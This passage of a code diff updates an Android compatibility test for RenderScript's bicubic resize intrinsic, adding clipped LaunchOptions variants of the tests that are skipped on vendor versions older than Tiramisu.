 
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
 import android.renderscript.*;
 import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
 
 public class IntrinsicResize extends IntrinsicBase {
 
     static final int inX = 307;
     static final int inY = 157;
 
-    private void testResize(int w, int h, Element.DataType dt, int vecSize, float scaleX, float scaleY) {
+  private void testResize(int w, int h, Element.DataType dt, int vecSize, float scaleX, float scaleY, boolean useOpt) {
+
+        // The LaunchOptions tests are new tests added in T, so skip the tests if the vendor
+        // partition has an earlier version.
+        if (useOpt && !PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
 
         Element e = makeElement(dt, vecSize);
 
@@ -42,9 +51,14 @@
         mAllocRef = makeAllocation(outW, outH, e);
         mAllocDst = makeAllocation(outW, outH, e);
 
+        Script.LaunchOptions options = makeClipper(10, 8, 40, 46);
         ScriptIntrinsicResize si = ScriptIntrinsicResize.create(mRS);
         si.setInput(mAllocSrc);
-        si.forEach_bicubic(mAllocRef);
+        if (useOpt) {
+          si.forEach_bicubic(mAllocRef, options);
+        } else {
+          si.forEach_bicubic(mAllocRef);
+        }
 
         ScriptC_intrinsic_resize sr = new ScriptC_intrinsic_resize(mRS);
         sr.set_scaleX((float)w/outW);
@@ -52,44 +66,77 @@
         sr.set_gIn(mAllocSrc);
         sr.set_gWidthIn(w);
         sr.set_gHeightIn(h);
-        if (dt == Element.DataType.UNSIGNED_8) {
+        if (useOpt) {
+          if (dt == Element.DataType.UNSIGNED_8) {
             switch(vecSize) {
-            case 4:
+              case 4:
+                sr.forEach_bicubic_U4(mAllocDst, options);
+                break;
+              case 3:
+                sr.forEach_bicubic_U3(mAllocDst, options);
+                break;
+              case 2:
+                sr.forEach_bicubic_U2(mAllocDst, options);
+                break;
+              case 1:
+                sr.forEach_bicubic_U1(mAllocDst, options);
+                break;
+            }
+          } else {
+            switch(vecSize) {
+              case 4:
+                sr.forEach_bicubic_F4(mAllocDst, options);
+                break;
+              case 3:
+                sr.forEach_bicubic_F3(mAllocDst, options);
+                break;
+              case 2:
+                sr.forEach_bicubic_F2(mAllocDst, options);
+                break;
+              case 1:
+                sr.forEach_bicubic_F1(mAllocDst, options);
+                break;
+            }
+          }
+        } else {
+          if (dt == Element.DataType.UNSIGNED_8) {
+            switch(vecSize) {
+              case 4:
                 sr.forEach_bicubic_U4(mAllocDst);
                 break;
-            case 3:
+              case 3:
                 sr.forEach_bicubic_U3(mAllocDst);
                 break;
-            case 2:
+              case 2:
                 sr.forEach_bicubic_U2(mAllocDst);
                 break;
-            case 1:
+              case 1:
                 sr.forEach_bicubic_U1(mAllocDst);
                 break;
             }
-        } else {
+          } else {
             switch(vecSize) {
-            case 4:
+              case 4:
                 sr.forEach_bicubic_F4(mAllocDst);
                 break;
-            case 3:
+              case 3:
                 sr.forEach_bicubic_F3(mAllocDst);
                 break;
-            case 2:
+              case 2:
                 sr.forEach_bicubic_F2(mAllocDst);
                 break;
-            case 1:
+              case 1:
                 sr.forEach_bicubic_F1(mAllocDst);
                 break;
             }
+          }
         }
 
-
         mVerify.set_gAllowedIntError(1);
         mVerify.invoke_verify(mAllocRef, mAllocDst, mAllocSrc);
-        if (outW == w && outH == h) {
+        //when scale = 1 and we're copyin the entire input, check with the original.
+        if (outW == w && outH == h && !useOpt) {
             mVerify.set_gAllowedIntError(0);
-            //when scale = 1, check with the original.
             mVerify.invoke_verify(mAllocRef, mAllocSrc, mAllocSrc);
             mVerify.invoke_verify(mAllocDst, mAllocSrc, mAllocSrc);
         }
@@ -101,343 +148,764 @@
 
 
     public void test_U8_4_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_3_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_2_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_1_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_3_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_2_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_1_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_3_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_2_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_1_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_3_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_2_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_1_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_3_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_2_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_1_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_3_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_2_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, false);
         checkError();
     }
     public void test_U8_1_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_3_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_2_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, false);
         checkError();
     }
     public void test_U8_1_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_3_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_2_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, false);
         checkError();
     }
     public void test_U8_1_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_3_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_2_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, false);
         checkError();
     }
     public void test_U8_1_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, false);
         checkError();
     }
 
     public void test_U8_4_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_3_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_2_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_U8_1_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, false);
         checkError();
     }
 
 
     public void test_F32_4_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_3_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_2_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_1_SCALE10_10_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_3_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_2_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_1_SCALE20_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_3_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_2_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_1_SCALE05_20_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_3_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_2_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_1_SCALE20_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_3_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_2_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_1_SCALE05_05_inSquare() {
-        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f);
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_3_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_2_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f, false);
         checkError();
     }
     public void test_F32_1_SCALE10_10_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_3_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_2_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f, false);
         checkError();
     }
     public void test_F32_1_SCALE20_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_3_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_2_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, false);
         checkError();
     }
     public void test_F32_1_SCALE05_20_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_3_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_2_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, false);
         checkError();
     }
     public void test_F32_1_SCALE20_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, false);
         checkError();
     }
 
     public void test_F32_4_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_3_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_2_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, false);
         checkError();
     }
     public void test_F32_1_SCALE05_05_inRectangle() {
-        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f);
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, false);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE05_20_inRectangle_opt() {
